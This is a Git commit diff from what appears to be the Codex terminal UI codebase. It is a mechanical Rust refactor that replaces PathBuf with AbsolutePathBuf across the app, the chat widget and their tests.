Spread AbsolutePathBuf (#17792)

Mechanical change to promote absolute paths through code.
This commit is contained in:
pakrym-oai
2026-04-14 14:26:10 -07:00
committed by GitHub
parent dae56994da
commit dd1321d11b
166 changed files with 1638 additions and 1214 deletions
+59 -54
View File
@@ -63,6 +63,8 @@ use crate::resume_picker::SessionTarget;
use crate::test_support::PathBufExt;
#[cfg(test)]
use crate::test_support::test_path_buf;
#[cfg(test)]
use crate::test_support::test_path_display;
use crate::tui;
use crate::tui::TuiEvent;
use crate::update_action::UpdateAction;
@@ -1025,7 +1027,7 @@ struct WindowsSandboxState {
fn normalize_harness_overrides_for_cwd(
mut overrides: ConfigOverrides,
base_cwd: &Path,
base_cwd: &AbsolutePathBuf,
) -> Result<ConfigOverrides> {
if overrides.additional_writable_roots.is_empty() {
return Ok(overrides);
@@ -1033,7 +1035,7 @@ fn normalize_harness_overrides_for_cwd(
let mut normalized = Vec::with_capacity(overrides.additional_writable_roots.len());
for root in overrides.additional_writable_roots.drain(..) {
let absolute = AbsolutePathBuf::resolve_path_against_base(root, base_cwd);
let absolute = base_cwd.join(root);
normalized.push(absolute.into_path_buf());
}
overrides.additional_writable_roots = normalized;
@@ -1729,7 +1731,7 @@ impl App {
self.chat_widget.set_active_agent_label(label);
}
async fn thread_cwd(&self, thread_id: ThreadId) -> Option<PathBuf> {
async fn thread_cwd(&self, thread_id: ThreadId) -> Option<AbsolutePathBuf> {
let channel = self.thread_event_channels.get(&thread_id)?;
let store = channel.store.lock().await;
store.session.as_ref().map(|session| session.cwd.clone())
@@ -1804,7 +1806,7 @@ impl App {
cwd: self
.thread_cwd(thread_id)
.await
.unwrap_or_else(|| self.config.cwd.to_path_buf()),
.unwrap_or_else(|| self.config.cwd.clone()),
changes: HashMap::new(),
}),
),
@@ -6481,8 +6483,8 @@ mod tests {
#[test]
fn normalize_harness_overrides_resolves_relative_add_dirs() -> Result<()> {
let temp_dir = tempdir()?;
let base_cwd = temp_dir.path().join("base");
std::fs::create_dir_all(&base_cwd)?;
let base_cwd = temp_dir.path().join("base").abs();
std::fs::create_dir_all(base_cwd.as_path())?;
let overrides = ConfigOverrides {
additional_writable_roots: vec![PathBuf::from("rel")],
@@ -6492,7 +6494,7 @@ mod tests {
assert_eq!(
normalized.additional_writable_roots,
vec![base_cwd.join("rel")]
vec![base_cwd.join("rel").into_path_buf()]
);
Ok(())
}
@@ -6667,7 +6669,7 @@ mod tests {
async fn ignore_same_thread_resume_reports_noop_for_current_thread() {
let (mut app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.thread_event_channels.insert(
thread_id,
@@ -6681,7 +6683,7 @@ mod tests {
while app_event_rx.try_recv().is_ok() {}
let ignored = app.ignore_same_thread_resume(&crate::resume_picker::SessionTarget {
path: Some(PathBuf::from("/tmp/project")),
path: Some(test_path_buf("/tmp/project")),
thread_id,
});
@@ -6691,18 +6693,21 @@ mod tests {
other => panic!("expected info message after same-thread resume, saw {other:?}"),
};
let rendered = lines_to_single_string(&cell.display_lines(/*width*/ 80));
assert!(rendered.contains("Already viewing /tmp/project."));
assert!(rendered.contains(&format!(
"Already viewing {}.",
test_path_display("/tmp/project")
)));
}
#[tokio::test]
async fn ignore_same_thread_resume_allows_reattaching_displayed_inactive_thread() {
let mut app = make_test_app().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session);
let ignored = app.ignore_same_thread_resume(&crate::resume_picker::SessionTarget {
path: Some(PathBuf::from("/tmp/project")),
path: Some(test_path_buf("/tmp/project")),
thread_id,
});
@@ -6719,7 +6724,7 @@ mod tests {
app.enqueue_primary_thread_request(approval_request).await?;
app.enqueue_primary_thread_session(
test_thread_session(thread_id, PathBuf::from("/tmp/project")),
test_thread_session(thread_id, test_path_buf("/tmp/project")),
Vec::new(),
)
.await?;
@@ -6791,7 +6796,7 @@ mod tests {
});
app.enqueue_primary_thread_session(
test_thread_session(thread_id, PathBuf::from("/tmp/project")),
test_thread_session(thread_id, test_path_buf("/tmp/project")),
vec![test_turn(
"turn-1",
TurnStatus::Completed,
@@ -6958,7 +6963,7 @@ mod tests {
async fn replay_thread_snapshot_restores_draft_and_queued_input() {
let mut app = make_test_app().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.thread_event_channels.insert(
thread_id,
ThreadEventChannel::new_with_session(
@@ -7019,7 +7024,7 @@ mod tests {
async fn active_turn_id_for_thread_uses_snapshot_turns() {
let mut app = make_test_app().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.thread_event_channels.insert(
thread_id,
ThreadEventChannel::new_with_session(
@@ -7039,7 +7044,7 @@ mod tests {
async fn replayed_turn_complete_submits_restored_queued_follow_up() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -7091,7 +7096,7 @@ mod tests {
async fn replay_only_thread_keeps_restored_queue_visible() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -7142,7 +7147,7 @@ mod tests {
async fn replay_thread_snapshot_keeps_queue_when_running_state_only_comes_from_snapshot() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -7191,7 +7196,7 @@ mod tests {
async fn replay_thread_snapshot_in_progress_turn_restores_running_queue_state() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -7240,7 +7245,7 @@ mod tests {
async fn replay_thread_snapshot_in_progress_turn_restores_running_state_without_input_state() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
let (chat_widget, _app_event_tx, _rx, _new_op_rx) =
make_chatwidget_manual_with_sender().await;
app.chat_widget = chat_widget;
@@ -7263,7 +7268,7 @@ mod tests {
async fn replay_thread_snapshot_does_not_submit_queue_before_replay_catches_up() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -7337,7 +7342,7 @@ mod tests {
async fn replay_thread_snapshot_restores_pending_pastes_for_submit() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.thread_event_channels.insert(
thread_id,
ThreadEventChannel::new_with_session(
@@ -7394,7 +7399,7 @@ mod tests {
async fn replay_thread_snapshot_restores_collaboration_mode_for_draft_submit() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget
.set_reasoning_effort(Some(ReasoningEffortConfig::High));
@@ -7478,7 +7483,7 @@ mod tests {
async fn replay_thread_snapshot_restores_collaboration_mode_without_input() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget
.set_reasoning_effort(Some(ReasoningEffortConfig::High));
@@ -7535,7 +7540,7 @@ mod tests {
async fn replayed_interrupted_turn_restores_queued_input_to_composer() {
let (mut app, _app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
app.chat_widget.handle_thread_session(session.clone());
app.chat_widget.handle_server_notification(
turn_started_notification(thread_id, "turn-1"),
@@ -8553,8 +8558,8 @@ guardian_approval = true
ThreadSessionState {
approval_policy: AskForApproval::OnRequest,
sandbox_policy: SandboxPolicy::new_workspace_write_policy(),
rollout_path: Some(PathBuf::from("/tmp/agent-rollout.jsonl")),
..test_thread_session(agent_thread_id, PathBuf::from("/tmp/agent"))
rollout_path: Some(test_path_buf("/tmp/agent-rollout.jsonl")),
..test_thread_session(agent_thread_id, test_path_buf("/tmp/agent"))
},
Vec::new(),
),
@@ -8766,8 +8771,8 @@ guardian_approval = true
ThreadSessionState {
approval_policy: AskForApproval::OnRequest,
sandbox_policy: SandboxPolicy::new_workspace_write_policy(),
rollout_path: Some(PathBuf::from("/tmp/agent-rollout.jsonl")),
..test_thread_session(agent_thread_id, PathBuf::from("/tmp/agent"))
rollout_path: Some(test_path_buf("/tmp/agent-rollout.jsonl")),
..test_thread_session(agent_thread_id, test_path_buf("/tmp/agent"))
},
Vec::new(),
),
@@ -8819,7 +8824,7 @@ guardian_approval = true
let primary_session = ThreadSessionState {
approval_policy: AskForApproval::OnRequest,
sandbox_policy: SandboxPolicy::new_workspace_write_policy(),
..test_thread_session(main_thread_id, PathBuf::from("/tmp/main"))
..test_thread_session(main_thread_id, test_path_buf("/tmp/main"))
};
app.primary_thread_id = Some(main_thread_id);
@@ -8838,7 +8843,7 @@ guardian_approval = true
let turn_context = TurnContextItem {
turn_id: None,
trace_id: None,
cwd: PathBuf::from("/tmp/agent"),
cwd: test_path_buf("/tmp/agent"),
current_date: None,
timezone: None,
approval_policy: primary_session.approval_policy,
@@ -8876,7 +8881,7 @@ guardian_approval = true
updated_at: 2,
status: codex_app_server_protocol::ThreadStatus::Idle,
path: Some(rollout_path.clone()),
cwd: PathBuf::from("/tmp/agent"),
cwd: test_path_buf("/tmp/agent").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
agent_nickname: Some("Robie".to_string()),
@@ -8904,7 +8909,7 @@ guardian_approval = true
assert_eq!(session.model, "gpt-agent");
assert_eq!(session.model_provider_id, "agent-provider");
assert_eq!(session.approval_policy, primary_session.approval_policy);
assert_eq!(session.cwd, PathBuf::from("/tmp/agent"));
assert_eq!(session.cwd.as_path(), test_path_buf("/tmp/agent").as_path());
assert_eq!(session.rollout_path, Some(rollout_path));
assert_eq!(
app.agent_navigation.get(&agent_thread_id),
@@ -8929,7 +8934,7 @@ guardian_approval = true
let primary_session = ThreadSessionState {
approval_policy: AskForApproval::OnRequest,
sandbox_policy: SandboxPolicy::new_workspace_write_policy(),
..test_thread_session(main_thread_id, PathBuf::from("/tmp/main"))
..test_thread_session(main_thread_id, test_path_buf("/tmp/main"))
};
app.primary_thread_id = Some(main_thread_id);
@@ -8957,7 +8962,7 @@ guardian_approval = true
updated_at: 2,
status: codex_app_server_protocol::ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp/agent"),
cwd: test_path_buf("/tmp/agent").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
agent_nickname: Some("Robie".to_string()),
@@ -9174,7 +9179,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: test_path_buf("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::High),
history_log_id: 0,
history_entry_count: 0,
@@ -9404,7 +9409,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd,
cwd: cwd.abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
@@ -9495,7 +9500,7 @@ guardian_approval = true
handler_type: AppServerHookHandlerType::Command,
execution_mode: AppServerHookExecutionMode::Sync,
scope: AppServerHookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: test_path_buf("/tmp/hooks.json").abs(),
display_order: 0,
status: AppServerHookRunStatus::Running,
status_message: Some("checking go-workflow input policy".to_string()),
@@ -9517,7 +9522,7 @@ guardian_approval = true
handler_type: AppServerHookHandlerType::Command,
execution_mode: AppServerHookExecutionMode::Sync,
scope: AppServerHookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: test_path_buf("/tmp/hooks.json").abs(),
display_order: 0,
status: AppServerHookRunStatus::Stopped,
status_message: Some("checking go-workflow input policy".to_string()),
@@ -9568,7 +9573,7 @@ guardian_approval = true
reason: Some("needs approval".to_string()),
network_approval_context: None,
command: Some("echo hello".to_string()),
cwd: Some(PathBuf::from("/tmp/project")),
cwd: Some(test_path_buf("/tmp/project").abs()),
command_actions: None,
additional_permissions: None,
proposed_execpolicy_amendment: None,
@@ -9605,7 +9610,7 @@ guardian_approval = true
#[test]
fn thread_event_store_restores_active_turn_from_snapshot_turns() {
let thread_id = ThreadId::new();
let session = test_thread_session(thread_id, PathBuf::from("/tmp/project"));
let session = test_thread_session(thread_id, test_path_buf("/tmp/project"));
let turns = vec![
test_turn("turn-1", TurnStatus::Completed, Vec::new()),
test_turn("turn-2", TurnStatus::InProgress, Vec::new()),
@@ -9761,8 +9766,8 @@ guardian_approval = true
let (mut app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await;
let origin_thread_id = ThreadId::new();
let active_thread_id = ThreadId::new();
let origin_session = test_thread_session(origin_thread_id, PathBuf::from("/tmp/origin"));
let active_session = test_thread_session(active_thread_id, PathBuf::from("/tmp/active"));
let origin_session = test_thread_session(origin_thread_id, test_path_buf("/tmp/origin"));
let active_session = test_thread_session(active_thread_id, test_path_buf("/tmp/active"));
app.thread_event_channels.insert(
origin_thread_id,
ThreadEventChannel::new_with_session(
@@ -10337,7 +10342,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: next_cwd.clone(),
cwd: next_cwd.clone().abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -10453,7 +10458,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -10516,7 +10521,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -10609,7 +10614,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -10666,7 +10671,7 @@ guardian_approval = true
ThreadEventSnapshot {
session: Some(test_thread_session(
thread_id,
PathBuf::from("/home/user/project"),
test_path_buf("/home/user/project"),
)),
turns: vec![
Turn {
@@ -10812,7 +10817,7 @@ guardian_approval = true
async fn refreshed_snapshot_session_persists_resumed_turns() {
let mut app = make_test_app().await;
let thread_id = ThreadId::new();
let initial_session = test_thread_session(thread_id, PathBuf::from("/tmp/original"));
let initial_session = test_thread_session(thread_id, test_path_buf("/tmp/original"));
app.thread_event_channels.insert(
thread_id,
ThreadEventChannel::new_with_session(
@@ -10834,7 +10839,7 @@ guardian_approval = true
}],
)];
let resumed_session = ThreadSessionState {
cwd: PathBuf::from("/tmp/refreshed"),
cwd: test_path_buf("/tmp/refreshed").abs(),
..initial_session.clone()
};
let mut snapshot = ThreadEventSnapshot {
@@ -10954,7 +10959,7 @@ guardian_approval = true
updated_at: 0,
status: codex_app_server_protocol::ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
cli_version: "0.0.0".to_string(),
source: SessionSource::Cli.into(),
agent_nickname: None,
@@ -10989,7 +10994,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -11098,7 +11103,7 @@ guardian_approval = true
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
+9 -8
View File
@@ -1061,8 +1061,9 @@ mod tests {
use codex_protocol::protocol::SessionSource;
use codex_protocol::protocol::TurnAbortReason;
use codex_protocol::protocol::TurnAbortedEvent;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use pretty_assertions::assert_eq;
use std::path::PathBuf;
#[test]
fn bridges_completed_agent_messages_from_server_notifications() {
@@ -1160,7 +1161,7 @@ mod tests {
let item = ThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command: "printf 'hello world\\n'".to_string(),
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: CommandExecutionSource::UserShell,
status: CommandExecutionStatus::InProgress,
@@ -1191,7 +1192,7 @@ mod tests {
begin.command,
vec!["printf".to_string(), "hello world\\n".to_string()]
);
assert_eq!(begin.cwd, PathBuf::from("/tmp"));
assert_eq!(begin.cwd.as_path(), test_path_buf("/tmp").as_path());
assert_eq!(begin.source, ExecCommandSource::UserShell);
let (_, delta_events) =
@@ -1216,7 +1217,7 @@ mod tests {
let completed_item = ThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command: "printf 'hello world\\n'".to_string(),
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: CommandExecutionSource::UserShell,
status: CommandExecutionStatus::Completed,
@@ -1253,7 +1254,7 @@ mod tests {
let item = ThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command: r#"C:\Program Files\Git\bin\bash.exe -lc "echo hi""#.to_string(),
cwd: PathBuf::from("C:\\repo"),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: CommandExecutionSource::UserShell,
status: CommandExecutionStatus::InProgress,
@@ -1289,7 +1290,7 @@ mod tests {
updated_at: 1,
status: ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
cli_version: "test".to_string(),
source: SessionSource::Cli.into(),
agent_nickname: None,
@@ -1301,7 +1302,7 @@ mod tests {
items: vec![ThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command: "printf 'hello world\\n'".to_string(),
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: CommandExecutionSource::UserShell,
status: CommandExecutionStatus::Completed,
@@ -1465,7 +1466,7 @@ mod tests {
updated_at: 0,
status: ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
cli_version: "test".to_string(),
source: SessionSource::Cli.into(),
agent_nickname: None,
+3 -2
View File
@@ -105,8 +105,9 @@ mod tests {
use codex_app_server_protocol::ThreadStatus;
use codex_protocol::ThreadId;
use codex_protocol::protocol::SubAgentSource;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use pretty_assertions::assert_eq;
use std::path::PathBuf;
fn test_thread(thread_id: ThreadId, source: SessionSource) -> Thread {
Thread {
@@ -119,7 +120,7 @@ mod tests {
updated_at: 0,
status: ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
cli_version: "0.0.0".to_string(),
source,
agent_nickname: None,
@@ -592,10 +592,11 @@ mod tests {
use codex_app_server_protocol::TurnStatus;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use pretty_assertions::assert_eq;
use std::collections::BTreeMap;
use std::collections::HashMap;
use std::path::PathBuf;
fn request_user_input_request(call_id: &str, turn_id: &str) -> ServerRequest {
ServerRequest::ToolRequestUserInput {
@@ -624,7 +625,7 @@ mod tests {
reason: None,
network_approval_context: None,
command: Some("echo hi".to_string()),
cwd: Some(PathBuf::from("/tmp")),
cwd: Some(test_path_buf("/tmp").abs()),
command_actions: None,
additional_permissions: None,
proposed_execpolicy_amendment: None,
+12 -9
View File
@@ -87,6 +87,7 @@ use codex_protocol::protocol::ReviewRequest;
use codex_protocol::protocol::ReviewTarget as CoreReviewTarget;
use codex_protocol::protocol::SandboxPolicy;
use codex_protocol::protocol::SessionNetworkProxyRuntime;
use codex_utils_absolute_path::AbsolutePathBuf;
use color_eyre::eyre::ContextCompat;
use color_eyre::eyre::Result;
use color_eyre::eyre::WrapErr;
@@ -131,8 +132,8 @@ pub(crate) struct ThreadSessionState {
pub(crate) approval_policy: AskForApproval,
pub(crate) approvals_reviewer: codex_protocol::config_types::ApprovalsReviewer,
pub(crate) sandbox_policy: SandboxPolicy,
pub(crate) cwd: PathBuf,
pub(crate) instruction_source_paths: Vec<PathBuf>,
pub(crate) cwd: AbsolutePathBuf,
pub(crate) instruction_source_paths: Vec<AbsolutePathBuf>,
pub(crate) reasoning_effort: Option<codex_protocol::openai_models::ReasoningEffort>,
pub(crate) history_log_id: u64,
pub(crate) history_entry_count: u64,
@@ -1072,8 +1073,8 @@ async fn thread_session_state_from_thread_response(
approval_policy: AskForApproval,
approvals_reviewer: codex_protocol::config_types::ApprovalsReviewer,
sandbox_policy: SandboxPolicy,
cwd: PathBuf,
instruction_source_paths: Vec<PathBuf>,
cwd: AbsolutePathBuf,
instruction_source_paths: Vec<AbsolutePathBuf>,
reasoning_effort: Option<codex_protocol::openai_models::ReasoningEffort>,
config: &Config,
) -> Result<ThreadSessionState, String> {
@@ -1162,6 +1163,8 @@ mod tests {
use codex_app_server_protocol::ThreadStatus;
use codex_app_server_protocol::Turn;
use codex_app_server_protocol::TurnStatus;
use codex_utils_absolute_path::test_support::PathBufExt;
use codex_utils_absolute_path::test_support::test_path_buf;
use pretty_assertions::assert_eq;
use tempfile::TempDir;
@@ -1288,7 +1291,7 @@ mod tests {
updated_at: 2,
status: ThreadStatus::Idle,
path: None,
cwd: PathBuf::from("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
cli_version: "0.0.0".to_string(),
source: codex_protocol::protocol::SessionSource::Cli.into(),
agent_nickname: None,
@@ -1322,8 +1325,8 @@ mod tests {
model: "gpt-5.4".to_string(),
model_provider: "openai".to_string(),
service_tier: None,
cwd: PathBuf::from("/tmp/project"),
instruction_sources: vec![PathBuf::from("/tmp/project/AGENTS.md")],
cwd: test_path_buf("/tmp/project").abs(),
instruction_sources: vec![test_path_buf("/tmp/project/AGENTS.md").abs()],
approval_policy: codex_protocol::protocol::AskForApproval::Never.into(),
approvals_reviewer: codex_app_server_protocol::ApprovalsReviewer::User,
sandbox: codex_protocol::protocol::SandboxPolicy::new_read_only_policy().into(),
@@ -1366,7 +1369,7 @@ mod tests {
AskForApproval::Never,
codex_protocol::config_types::ApprovalsReviewer::User,
SandboxPolicy::new_read_only_policy(),
PathBuf::from("/tmp/project"),
test_path_buf("/tmp/project").abs(),
Vec::new(),
/*reasoning_effort*/ None,
&config,
@@ -1396,7 +1399,7 @@ mod tests {
AskForApproval::Never,
codex_protocol::config_types::ApprovalsReviewer::User,
SandboxPolicy::new_read_only_policy(),
PathBuf::from("/tmp/project"),
test_path_buf("/tmp/project").abs(),
Vec::new(),
/*reasoning_effort*/ None,
&config,
@@ -29,6 +29,7 @@ use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use codex_protocol::request_permissions::PermissionGrantScope;
use codex_protocol::request_permissions::RequestPermissionProfile;
use codex_utils_absolute_path::AbsolutePathBuf;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
use crossterm::event::KeyEventKind;
@@ -66,7 +67,7 @@ pub(crate) enum ApprovalRequest {
thread_label: Option<String>,
id: String,
reason: Option<String>,
cwd: PathBuf,
cwd: AbsolutePathBuf,
changes: HashMap<PathBuf, FileChange>,
},
McpElicitation {
+13 -23
View File
@@ -42,8 +42,6 @@ use std::sync::atomic::Ordering;
use std::time::Duration;
use std::time::Instant;
use url::Url;
use self::realtime::PendingSteerCompareKey;
use crate::app_command::AppCommand;
use crate::app_event::RealtimeAudioDeviceKind;
@@ -942,7 +940,7 @@ pub(crate) struct ChatWidget {
// Current working directory (if known)
current_cwd: Option<PathBuf>,
// Instruction source files loaded for the current session, supplied by app-server.
instruction_source_paths: Vec<PathBuf>,
instruction_source_paths: Vec<AbsolutePathBuf>,
// Runtime network proxy bind addresses from SessionConfigured.
session_network_proxy: Option<codex_protocol::protocol::SessionNetworkProxyRuntime>,
// Shared latch so we only warn once about invalid status-line item IDs.
@@ -1370,6 +1368,7 @@ fn app_server_request_id_to_mcp_request_id(
fn exec_approval_request_from_params(
params: CommandExecutionRequestApprovalParams,
fallback_cwd: &AbsolutePathBuf,
) -> ExecApprovalRequestEvent {
ExecApprovalRequestEvent {
call_id: params.item_id,
@@ -1378,7 +1377,7 @@ fn exec_approval_request_from_params(
.as_deref()
.map(split_command_string)
.unwrap_or_default(),
cwd: params.cwd.unwrap_or_default(),
cwd: params.cwd.unwrap_or_else(|| fallback_cwd.clone()),
reason: params.reason,
network_approval_context: params
.network_approval_context
@@ -1972,13 +1971,8 @@ impl ChatWidget {
self.thread_name = event.thread_name.clone();
self.forked_from = event.forked_from_id;
self.current_rollout_path = event.rollout_path.clone();
self.current_cwd = Some(event.cwd.clone());
match AbsolutePathBuf::try_from(event.cwd.clone()) {
Ok(cwd) => self.config.cwd = cwd,
Err(err) => {
tracing::warn!(path = %event.cwd.display(), %err, "session cwd should be absolute");
}
}
self.current_cwd = Some(event.cwd.to_path_buf());
self.config.cwd = event.cwd.clone();
if let Err(err) = self
.config
.permissions
@@ -3629,15 +3623,10 @@ impl ChatWidget {
fn on_image_generation_end(&mut self, event: ImageGenerationEndEvent) {
self.flush_answer_stream_with_separator();
let saved_path = event.saved_path.map(|saved_path| {
Url::from_file_path(Path::new(&saved_path))
.map(|url| url.to_string())
.unwrap_or(saved_path)
});
self.add_to_history(history_cell::new_image_generation_call(
event.call_id,
event.revised_prompt,
saved_path,
event.saved_path,
));
self.request_redraw();
}
@@ -4535,7 +4524,7 @@ impl ChatWidget {
id: ev.call_id,
reason: ev.reason,
changes: ev.changes.clone(),
cwd: self.config.cwd.to_path_buf(),
cwd: self.config.cwd.clone(),
};
self.bottom_pane
.push_approval_request(request, &self.config.features);
@@ -5920,10 +5909,7 @@ impl ChatWidget {
});
}
ThreadItem::ImageView { id, path } => {
self.on_view_image_tool_call(ViewImageToolCallEvent {
call_id: id,
path: path.into(),
});
self.on_view_image_tool_call(ViewImageToolCallEvent { call_id: id, path });
}
ThreadItem::ImageGeneration {
id,
@@ -5989,7 +5975,11 @@ impl ChatWidget {
let id = request.id().to_string();
match request {
ServerRequest::CommandExecutionRequestApproval { params, .. } => {
self.on_exec_approval_request(id, exec_approval_request_from_params(params));
let fallback_cwd = self.config.cwd.clone();
self.on_exec_approval_request(
id,
exec_approval_request_from_params(params, &fallback_cwd),
);
}
ServerRequest::FileChangeRequestApproval { params, .. } => {
self.on_apply_patch_approval_request(
@@ -228,7 +228,7 @@ async fn live_app_server_command_execution_strips_shell_wrapper() {
item: AppServerThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command: command.clone(),
cwd: PathBuf::from("/tmp"),
